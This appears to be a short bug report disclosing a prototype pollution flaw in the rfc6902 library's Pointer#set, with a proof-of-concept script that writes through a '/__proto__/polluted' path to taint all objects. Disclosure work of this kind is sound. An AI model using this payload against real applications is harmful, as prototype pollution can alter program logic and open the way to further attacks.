Pointer#set is vulnerable to Prototype Pollution

[dalle]

Prototype Pollution is possible in Pointer#set

See #76

// poc.js
var rfc6902 = require("rfc6902")
var obj = {}
console.log("Before : " + {}.polluted);
Pointer.fromJSON("/__proto__/polluted").set(obj, "Yes! Its Polluted");
console.log("After : " + {}.polluted);